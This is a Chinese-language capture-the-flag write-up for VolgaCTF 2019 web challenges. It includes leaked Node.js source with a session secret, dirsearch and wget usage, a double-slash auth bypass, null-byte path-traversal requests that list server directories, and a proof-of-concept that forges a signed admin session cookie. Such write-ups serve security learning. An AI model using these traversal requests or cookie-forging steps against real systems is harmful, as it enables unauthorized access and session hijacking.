VolgaCTF 2019 Quals · damn1t

shop

payload:&balance=2000

shop2

payload:name=ausername&CartItems[0].id=4

先使用SourceLeakHacker这个脚本爆目录,发现无法得到正常返回结果,看了writeup,发现了dirsearch这个东西

用法:./dirsearch.py -u url

发现了一些js文档
main.js

  $(document).ready(function() {
year = parseInt(location.pathname.slice(1)) || 2018;
$.getJSON(`/api/images?year=${year}`, function(data) {
  $.each(data, function(key, img) {

$('<div>', {
class: 'col-lg-3 col-md-4 col-xs-6',
html: $('<a>', {
  href: `/api/image?year=${year}&img=${img}`,
  class: 'd-block mb-4 h-100',
  html: $('<img>', {
class: 'img-fluid img-thumbnail',
src: `/api/image?year=${year}&img=${img}`,
alt: ''
  })
})
 }).appendTo($('#gallery'));;
  });
}).fail(function() { location = '/login';});
  });

index.js

const express= require('express');
const session = require('express-session');
const store = require('session-file-store')(session);
const proxy = require('http-proxy-middleware');
const parser = require('body-parser');
const fs = require('fs');
const app = express();

config = require('./config');
auth = require('./auth')();
config.session.store = new store();

app.use(parser.urlencoded({ extended: false }));
app.use(`${config.apiPrefix}/*`, session(config.session));
app.use(`${config.apiPrefix}/*`, auth.unless({path: config.whitelistPaths}));

app.post(`${config.apiPrefix}/login`, function (req, res) {
    /* TODO: Implement login*/
    res.redirect('/login');
});

app.get(`${config.apiPrefix}/logout`, function (req, res) {
    /* TODO: Implement logout */
    res.redirect('/login');
});

app.get(`${config.apiPrefix}/flag`, function (req, res) {
    console.log(req.session);
    if(req.session.name === 'admin')
        res.end(fs.readFileSync('../../flag', 'utf8'));
    else
        res.status(403).send();
});

app.use(proxy(config.proxy));
app.listen(config.server.port);

config.js

const config = {
  apiPrefix: '/api',
  server: {
port: 4000
  },
  proxy: {
target: 'http://localhost:5000',
autoRewrite: true
  },
  session: {
name: 'SESSION',
saveUninitialized: false,
secret: ';GmU1FSlVETF/vzEaBHP',
rolling: true,
resave: false
  },
  whitelistPaths: [
'/api/login', '/api/logout'
  ]
}

module.exports = config;

auth.js

const unless = require('express-unless');

const auth = function () {
  var authm = function (req, res, next) {
    console.log(req.session);
if (!req.session.name) {
    res.status(403).send();
} else {
        next();
}
  }
  authm.unless = unless;
  return authm;
};

module.exports = auth;

基于node.js的服务端
这里要涉及到wget相关命令,它可以下载网站目录的文档,几个常用命令

-c 断点续传

-r 递归下载,下载指定网页某一目录下(包括子目录)的所有文档

-nd 递归下载时不创建一层一层的目录,把所有的文档下载到当前目录

-np 递归下载时不搜索上层目录,如wget -c -r www.xxx.org/pub/path/ 没有加参数-np,就会同时下载path的上一级目录pub下的其它文档

-k 将绝对链接转为相对链接,下载整个站点后脱机浏览网页,最好加上这个参数

-L 递归时不进入其它主机,如wget -c -r www.xxx.org/ 如果网站内有一个这样的链接: www.yyy.org,不加参数-L,就会像大火烧山一样,会递归下载www.yyy.org网站

-p 下载网页所需的所有文档,如图片等 -A 指定要下载的文档样式列表,多个样式用逗号分隔 -i 后面跟一个文档,文档内指明要下载的URL

-P 保存到指定目录

config.js将session存储到本地服务器,似乎无法拿到,从index.js来看:

app.get(`${config.apiPrefix}/flag`, function (req, res) {
console.log(req.session);
if(req.session.name === 'admin')
res.end(fs.readFileSync('../../flag', 'utf8'));
else
res.status(403).send();
});

session要认证为admin,但似乎无法伪造,于是将目标转到接口,但api/loginapi/logout都没什么可利用的,参考了writeup,提到了一种请求方式:options request,有如下解释:

发送如下请求:

OPTIONS /api/logout HTTP/1.1
Host: gallery.q.2019.volgactf.ru
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

回显了报错信息:

laravel框架,访问/api/image出现403,考虑bypass),这里因为没有对路径访问做过滤,所以可以直接//或者多个/的方式进行绕过,于是GET //api/images HTTP/1.1,成功回显了一个空数组,因为没有传参

GET //api/images/?year=2019 HTTP/1.1,再次报错

  • 既然/2019/img,也就是说可以控制路径访问任意,验证猜想:GET //api/images?year=2018%00 HTTP/1.1,response返回["img"]
  • 继续GET //api/images?year=2018/../../../../../../../var/www%00,response返回["html","flag","apps"]
  • 尝试直接读取GET //api/image?year=2018/../../../../../../../var/www/%00&img=../flag HTTP/1.1,然而报错:

  • 所以转而尝试读取GET //api/images?year=2018/../../../../../../../var/www/html%00 HTTP/1.1,response为["index.html"],无用

  • 访问GET //api/images?year=2018/../../../../../../../var/www/apps%00 HTTP/1.1,response为["volga_gallery","volga_adminpanel","volga_auth"]
  • 继续GET //api/images?year=2018/../../../../../../../var/www/apps/volga_adminpanel%00 HTTP/1.1,response为["sessions","app.js"],这里可以猜想,获取到sessions中的值就可以伪造为admin
  • 于是继续访问GET //api/images?year=2018/../../../../../../../var/www/apps/volga_adminpanel/sessions%00 HTTP/1.1,response为["euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.json"]
    关键的一点,如何构造session,我们有了secret,那么可以尝试自己在本地构造
    先安装npm install express-session

poc:

var cookie = require('cookie-signature');
var val = cookie.sign(unescape('../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM'), ';GmU1FSlVETF/vzEaBHP');
console.log('Cookie: SESSION=s:'+val);

得到session:Cookie: SESSION=s:../../volga_adminpanel/sessions/euzb7bMKx-5F29b2xNobGTDoWXmVFlEM.KrY7Bi6sZtBB/J4sPnVj5QkDEuBu/0QelFQQqAV6yh4

reference:
https://github.com/BlackFan/ctfs/tree/master/volgactf_2019_quals